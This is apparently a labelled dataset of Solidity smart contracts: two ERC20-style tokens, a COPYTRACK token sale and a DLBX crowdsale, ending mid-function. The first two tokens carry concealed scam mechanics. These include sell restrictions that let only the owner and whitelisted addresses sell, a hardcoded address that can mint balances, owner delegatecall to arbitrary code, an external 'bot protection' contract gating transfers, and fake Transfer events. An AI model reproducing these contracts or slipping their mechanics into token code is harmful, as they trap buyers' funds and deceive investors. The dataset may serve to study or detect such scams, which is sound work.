function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,351 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract CryptionNetworkToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Cryption Network Token";
string public symbol = "CNT";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedEther, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 1,747 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Token is StandardToken {
string public constant name = "COPYTRACK Token";
string public constant symbol = "CPY";
uint8 public constant decimals = 18;
uint256 constant EXA = 10 ** 18;
uint256 public totalSupply = 100 * 10 ** 6 * EXA;
bool public finalized = false;
address public tokenSaleContract;
event Finalized();
event Burnt(address indexed _from, uint256 _amount);
function Token(address _tokenSaleContract)
public
{
require(_tokenSaleContract != 0);
balances[_tokenSaleContract] = totalSupply;
tokenSaleContract = _tokenSaleContract;
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
checkTransferAllowed(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
checkTransferAllowed(msg.sender);
return super.transferFrom(_from, _to, _value);
}
function checkTransferAllowed(address _sender)
private
view
{
if (finalized) {
return;
}
require(_sender == tokenSaleContract);
}
function finalize()
external
returns (bool success)
{
require(!finalized);
require(msg.sender == tokenSaleContract);
finalized = true;
Finalized();
return true;
}
function burn(uint256 _value)
public
returns (bool success)
{
require(finalized);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burnt(msg.sender, _value);
return true;
}
}
contract TokenSaleConfig {
uint public constant EXA = 10 ** 18;
uint256 public constant PUBLIC_START_TIME = 1515542400;
uint256 public constant END_TIME = 1518220800;
uint256 public constant CONTRIBUTION_MIN = 0.1 ether;
uint256 public constant CONTRIBUTION_MAX = 2500.0 ether;
uint256 public constant COMPANY_ALLOCATION = 40 * 10 ** 6 * EXA;
Tranche[4] public tranches;
struct Tranche {
uint untilToken;
uint tokensPerEther;
}
function TokenSaleConfig()
public
{
tranches[0] = Tranche({untilToken : 5000000 * EXA, tokensPerEther : 1554});
tranches[1] = Tranche({untilToken : 10000000 * EXA, tokensPerEther : 1178});
tranches[2] = Tranche({untilToken : 20000000 * EXA, tokensPerEther : 1000});
tranches[3] = Tranche({untilToken : 60000000, tokensPerEther : 740});
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenSale is TokenSaleConfig, Ownable {
using SafeMath for uint;
Token public tokenContract;
bool public finalized = false;
mapping (address => uint256) public contributors;
uint256 public totalWeiRaised = 0;
uint256 public totalTokenSold = 0;
address public fundingWalletAddress;
mapping (address => bool) public whitelistOperators;
mapping (address => bool) public whitelist;
address[] public earlyBirds;
mapping (address => uint256) public earlyBirdInvestments;
modifier withinContributionLimits(address _contributorAddress, uint256 _weiAmount) {
uint256 totalContributionAmount = contributors[_contributorAddress].add(_weiAmount);
require(_weiAmount >= CONTRIBUTION_MIN);
require(totalContributionAmount <= CONTRIBUTION_MAX);
_;
}
modifier onlyWhitelisted(address _address) {
require(whitelist[_address] == true);
_;
}
modifier onlyWhitelistOperator()
{
require(whitelistOperators[msg.sender] == true);
_;
}
modifier onlyDuringSale() {
require(finalized == false);
require(currentTime() <= END_TIME);
_;
}
modifier onlyAfterFinalized() {
require(finalized);
_;
}
event LogWhitelistUpdated(address indexed _account);
event LogTokensPurchased(address indexed _account, uint256 _cost, uint256 _tokens, uint256 _totalTokenSold);
event UnsoldTokensBurnt(uint256 _amount);
event Finalized();
function TokenSale(address _fundingWalletAddress)
public
{
require(_fundingWalletAddress != 0);
fundingWalletAddress = _fundingWalletAddress;
}
function connectToken(Token _tokenContract)
external
onlyOwner
{
require(totalTokenSold == 0);
require(tokenContract == address(0));
require(_tokenContract.balanceOf(address(this)) == _tokenContract.totalSupply());
tokenContract = _tokenContract;
tokenContract.transfer(fundingWalletAddress, COMPANY_ALLOCATION);
processEarlyBirds();
}
function()
external
payable
{
uint256 cost = buyTokens(msg.sender, msg.value);
fundingWalletAddress.transfer(cost);
}
function buyTokens(address contributorAddress, uint256 weiAmount)
onlyDuringSale
onlyWhitelisted(contributorAddress)
withinContributionLimits(contributorAddress, weiAmount)
private
returns (uint256 costs)
{
assert(tokenContract != address(0));
uint256 tokensLeft = getTokensLeft();
require(tokensLeft > 0);
uint256 tokenAmount = calculateTokenAmount(weiAmount);
uint256 cost = weiAmount;
uint256 refund = 0;
if (tokenAmount > tokensLeft) {
tokenAmount = tokensLeft;
cost = tokenAmount / getCurrentTokensPerEther();
refund = weiAmount.sub(cost);
}
tokenContract.transfer(contributorAddress, tokenAmount);
contributors[contributorAddress] = contributors[contributorAddress].add(cost);
if (refund > 0) {
contributorAddress.transfer(refund);
}
totalWeiRaised += cost;
totalTokenSold += tokenAmount;
LogTokensPurchased(contributorAddress, cost, tokenAmount, totalTokenSold);
if (tokensLeft.sub(tokenAmount) == 0) {
finalizeInternal();
}
return cost;
}
function getTokensLeft()
public
view
returns (uint256 tokensLeft)
{
return tokenContract.balanceOf(this);
}
function getCurrentTokensPerEther()
public
view
returns (uint256 tokensPerEther)
{
uint i;
uint defaultTokensPerEther = tranches[tranches.length - 1].tokensPerEther;
if (currentTime() >= PUBLIC_START_TIME) {
return defaultTokensPerEther;
}
for (i = 0; i < tranches.length; i++) {
if (totalTokenSold >= tranches[i].untilToken) {
continue;
}
return tranches[i].tokensPerEther;
}
return defaultTokensPerEther;
}
function calculateTokenAmount(uint256 weiAmount)
public
view
returns (uint256 tokens)
{
return weiAmount * getCurrentTokensPerEther();
}
function addWhitelistOperator(address _address)
public
onlyOwner
{
whitelistOperators[_address] = true;
}
function removeWhitelistOperator(address _address)
public
onlyOwner
{
require(whitelistOperators[_address]);
delete whitelistOperators[_address];
}
function addToWhitelist(address _address)
public
onlyWhitelistOperator
{
require(_address != address(0));
whitelist[_address] = true;
LogWhitelistUpdated(_address);
}
function removeFromWhitelist(address _address)
public
onlyWhitelistOperator
{
require(_address != address(0));
delete whitelist[_address];
}
function currentTime()
public
view
returns (uint256 _currentTime)
{
return now;
}
function finalize()
external
onlyOwner
returns (bool)
{
require(currentTime() > END_TIME);
return finalizeInternal();
}
function finalizeInternal() private returns (bool) {
require(!finalized);
finalized = true;
Finalized();
tokenContract.finalize();
return true;
}
function addEarlyBird(address _address, uint256 weiAmount)
onlyOwner
withinContributionLimits(_address, weiAmount)
external
{
require(tokenContract == address(0));
earlyBirds.push(_address);
earlyBirdInvestments[_address] = weiAmount;
whitelist[_address] = true;
}
function processEarlyBirds()
private
{
for (uint256 i = 0; i < earlyBirds.length; i++)
{
address earlyBirdAddress = earlyBirds[i];
uint256 weiAmount = earlyBirdInvestments[earlyBirdAddress];
buyTokens(earlyBirdAddress, weiAmount);
}
}
function burnUnsoldTokens()
external
onlyAfterFinalized
returns (bool)
{
uint256 leftTokens = getTokensLeft();
require(leftTokens > 0);
require(tokenContract.burn(leftTokens));
UnsoldTokensBurnt(leftTokens);
return true;
}
} | 1 | 2,977 |
pragma solidity ^0.4.15;
contract DLBXCrowdsale {
using DirectCrowdsaleLib for DirectCrowdsaleLib.DirectCrowdsaleStorage;
DirectCrowdsaleLib.DirectCrowdsaleStorage sale;
uint256 public discountEndTime;
function DLBXCrowdsale(
address owner,
uint256[] saleData,
uint256 fallbackExchangeRate,
uint256 capAmountInCents,
uint256 endTime,
uint8 percentBurn,
uint256 _discountEndTime,
CrowdsaleToken token)
{
sale.init(owner, saleData, fallbackExchangeRate, capAmountInCents, endTime, percentBurn, token);
discountEndTime = _discountEndTime;
}
event LogTokensBought(address indexed buyer, uint256 amount);
event LogAddressCapExceeded(address indexed buyer, uint256 amount, string Msg);
event LogErrorMsg(uint256 amount, string Msg);
event LogTokenPriceChange(uint256 amount, string Msg);
event LogTokensWithdrawn(address indexed _bidder, uint256 Amount);
event LogWeiWithdrawn(address indexed _bidder, uint256 Amount);
event LogOwnerEthWithdrawn(address indexed owner, uint256 amount, string Msg);
event LogNoticeMsg(address _buyer, uint256 value, string Msg);
function () payable {
sendPurchase();
}
function sendPurchase() payable returns (bool) {
if (now > discountEndTime){
if(msg.value < 16666666666666666666){
sale.base.tokensPerEth = 400;
} else {
sale.base.tokensPerEth = 600;
}
} else {
if(msg.value < 14333333333333333333){
sale.base.tokensPerEth = 462;
} else {
sale.base.tokensPerEth = 698;
}
}
return sale.receivePurchase(msg.value);
}
function withdrawTokens() returns (bool) {
return sale.withdrawTokens();
}
function withdrawLeftoverWei() returns (bool) {
return sale.withdrawLeftoverWei();
}
function withdrawOwnerEth() returns (bool) {
return sale.withdrawOwnerEth();
}
function crowdsaleActive() constant returns (bool) {
return sale.crowdsaleActive();
}
function crowdsaleEnded() constant returns (bool) {
return sale.crowdsaleEnded();
}
function setTokenExchangeRate(uint256 _exchangeRate) returns (bool) {
return sale.setTokenExchangeRate(_exchangeRate);
}
function setTokens() returns (bool) {
return sale.setTokens();
}
function getOwner() constant returns (address) {
return sale.base.owner;
}
function getTokensPerEth() constant returns (uint256) {
if (now > discountEndTime){
return 400;
} else {
return 461;
}
}
function getExchangeRate() constant returns (uint256) {
return sale.base.exchangeRate;
}
function getCapAmount() constant returns (uint256) {
return sale.base.capAmount;
}
function getStartTime() constant returns (uint256) {
return sale.base.startTime;
}
function getEndTime() constant returns (uint256) {
return sale.base.endTime;
}
function getEthRaised() constant returns (uint256) {
return sale.base.ownerBalance;
}
function getContribution(address _buyer) constant returns (uint256) {
return sale.base.hasContributed[_buyer];
}
function getTokenPurchase(address _buyer) constant returns (uint256) {
return sale.base.withdrawTokensMap[_buyer];
}
function getLeftoverWei(address _buyer) constant returns (uint256) {
return sale.base.leftoverWei[_buyer];
}
function getSaleData() constant returns (uint256) {
if (now > discountEndTime){
return 75;
} else {
return 65;
}
}
function getTokensSold() constant returns (uint256) {
return sale.base.startingTokenBalance - sale.base.withdrawTokensMap[sale.base.owner];
}
function getPercentBurn() constant returns (uint256) {
return sale.base.percentBurn;
}
}
library DirectCrowdsaleLib {
using BasicMathLib for uint256;
using CrowdsaleLib for CrowdsaleLib.CrowdsaleStorage;
struct DirectCrowdsaleStorage {
CrowdsaleLib.CrowdsaleStorage base;
}
event LogTokensBought(address indexed buyer, uint256 amount);
event LogAddressCapExceeded(address indexed buyer, uint256 amount, string Msg);
event LogErrorMsg(uint256 amount, string Msg);
event LogTokenPriceChange(uint256 amount, string Msg);
function init(DirectCrowdsaleStorage storage self,
address _owner,
uint256[] _saleData,
uint256 _fallbackExchangeRate,
uint256 _capAmountInCents,
uint256 _endTime,
uint8 _percentBurn,
CrowdsaleToken _token)
{
self.base.init(_owner,
_saleData,
_fallbackExchangeRate,
_capAmountInCents,
_endTime,
_percentBurn,
_token);
}
function receivePurchase(DirectCrowdsaleStorage storage self, uint256 _amount) returns (bool) {
require(msg.sender != self.base.owner);
require(self.base.validPurchase());
require((self.base.ownerBalance + _amount) <= self.base.capAmount);
if ((self.base.milestoneTimes.length > self.base.currentMilestone + 1) &&
(now > self.base.milestoneTimes[self.base.currentMilestone + 1]))
{
while((self.base.milestoneTimes.length > self.base.currentMilestone + 1) &&
(now > self.base.milestoneTimes[self.base.currentMilestone + 1]))
{
self.base.currentMilestone += 1;
}
self.base.changeTokenPrice(self.base.saleData[self.base.milestoneTimes[self.base.currentMilestone]][0]);
LogTokenPriceChange(self.base.tokensPerEth,"Token Price has changed!");
}
uint256 _numTokens;
uint256 _newBalance;
uint256 _weiTokens;
uint256 _zeros;
uint256 _leftoverWei;
uint256 _remainder;
bool err;
(err,_weiTokens) = _amount.times(self.base.tokensPerEth);
require(!err);
if(self.base.tokenDecimals <= 18){
_numTokens = _weiTokens/1000000000000000000;
_leftoverWei = _weiTokens % 1000000000000000000;
_leftoverWei = _leftoverWei/self.base.tokensPerEth;
self.base.leftoverWei[msg.sender] += _leftoverWei;
} else {
_zeros = 10**(uint256(self.base.tokenDecimals)-18);
_numTokens = _weiTokens*_zeros;
}
self.base.hasContributed[msg.sender] += _amount - _leftoverWei;
require(_numTokens <= self.base.token.balanceOf(this));
(err,_newBalance) = self.base.ownerBalance.plus(_amount-_leftoverWei);
require(!err);
self.base.ownerBalance = _newBalance;
self.base.withdrawTokensMap[msg.sender] += _numTokens;
(err,_remainder) = self.base.withdrawTokensMap[self.base.owner].minus(_numTokens);
self.base.withdrawTokensMap[self.base.owner] = _remainder;
LogTokensBought(msg.sender, _numTokens);
return true;
}
function setTokenExchangeRate(DirectCrowdsaleStorage storage self, uint256 _exchangeRate) returns (bool) {
return self.base.setTokenExchangeRate(_exchangeRate);
}
function setTokens(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.setTokens();
}
function getSaleData(DirectCrowdsaleStorage storage self, uint256 timestamp) returns (uint256[3]) {
return self.base.getSaleData(timestamp);
}
function getTokensSold(DirectCrowdsaleStorage storage self) constant returns (uint256) {
return self.base.getTokensSold();
}
function withdrawTokens(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.withdrawTokens();
}
function withdrawLeftoverWei(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.withdrawLeftoverWei();
}
function withdrawOwnerEth(DirectCrowdsaleStorage storage self) returns (bool) {
return self.base.withdrawOwnerEth();
}
function crowdsaleActive(DirectCrowdsaleStorage storage self) constant returns (bool) {
return self.base.crowdsaleActive();
}
function crowdsaleEnded(DirectCrowdsaleStorage storage self) constant returns (bool) {
return self.base.crowdsaleEnded();
}
function validPurchase(DirectCrowdsaleStorage storage self) constant returns (bool) {
return self.base.validPurchase();
}
}
library CrowdsaleLib {
using BasicMathLib for uint256;
struct CrowdsaleStorage {
address owner;
uint256 tokensPerEth;
uint256 capAmount;
uint256 startTime;
uint256 endTime;
uint256 exchangeRate;
uint256 ownerBalance;
uint256 startingTokenBalance;
uint256[] milestoneTimes;
uint8 currentMilestone;
uint8 tokenDecimals;
uint8 percentBurn;
bool tokensSet;
bool rateSet;
mapping (uint256 => uint256[2]) saleData;
mapping (address => uint256) hasContributed;
mapping (address => uint256) withdrawTokensMap;
mapping (address => uint256) leftoverWei;
CrowdsaleToken token;
}
event LogTokensWithdrawn(address indexed _bidder, uint256 Amount);
event LogWeiWithdrawn(address indexed _bidder, uint256 Amount);
event LogOwnerEthWithdrawn(address indexed owner, uint256 amount, string Msg);
event LogNoticeMsg(address _buyer, uint256 value, string Msg);
event LogErrorMsg(string Msg);
function init(CrowdsaleStorage storage self,
address _owner,
uint256[] _saleData,
uint256 _fallbackExchangeRate,
uint256 _capAmountInCents,
uint256 _endTime,
uint8 _percentBurn,
CrowdsaleToken _token)
{
require(self.capAmount == 0);
require(self.owner == 0);
require(_saleData.length > 0);
require((_saleData.length%3) == 0);
require(_endTime > _saleData[0]);
require(_capAmountInCents > 0);
require(_owner > 0);
require(_fallbackExchangeRate > 0);
require(_percentBurn <= 100);
self.owner = _owner;
self.capAmount = ((_capAmountInCents/_fallbackExchangeRate) + 1)*(10**18);
self.startTime = _saleData[0];
self.endTime = _endTime;
self.token = _token;
self.tokenDecimals = _token.decimals();
self.percentBurn = _percentBurn;
self.exchangeRate = _fallbackExchangeRate;
uint256 _tempTime;
for(uint256 i = 0; i < _saleData.length; i += 3){
require(_saleData[i] > _tempTime);
require(_saleData[i + 1] > 0);
require((_saleData[i + 2] == 0) || (_saleData[i + 2] >= 100));
self.milestoneTimes.push(_saleData[i]);
self.saleData[_saleData[i]][0] = _saleData[i + 1];
self.saleData[_saleData[i]][1] = _saleData[i + 2];
_tempTime = _saleData[i];
}
changeTokenPrice(self, _saleData[1]);
}
function crowdsaleActive(CrowdsaleStorage storage self) constant returns (bool) {
return (now >= self.startTime && now <= self.endTime);
}
function crowdsaleEnded(CrowdsaleStorage storage self) constant returns (bool) {
return now > self.endTime;
}
function validPurchase(CrowdsaleStorage storage self) internal constant returns (bool) {
bool nonZeroPurchase = msg.value != 0;
if (crowdsaleActive(self) && nonZeroPurchase) {
return true;
} else {
LogErrorMsg("Invalid Purchase! Check send time and amount of ether.");
return false;
}
}
function withdrawTokens(CrowdsaleStorage storage self) returns (bool) {
bool ok;
if (self.withdrawTokensMap[msg.sender] == 0) {
LogErrorMsg("Sender has no tokens to withdraw!");
return false;
}
if (msg.sender == self.owner) {
if(!crowdsaleEnded(self)){
LogErrorMsg("Owner cannot withdraw extra tokens until after the sale!");
return false;
} else {
if(self.percentBurn > 0){
uint256 _burnAmount = (self.withdrawTokensMap[msg.sender] * self.percentBurn)/100;
self.withdrawTokensMap[msg.sender] = self.withdrawTokensMap[msg.sender] - _burnAmount;
ok = self.token.burnToken(_burnAmount);
require(ok);
}
}
}
var total = self.withdrawTokensMap[msg.sender];
self.withdrawTokensMap[msg.sender] = 0;
ok = self.token.transfer(msg.sender, total);
require(ok);
LogTokensWithdrawn(msg.sender, total);
return true;
}
function withdrawLeftoverWei(CrowdsaleStorage storage self) returns (bool) {
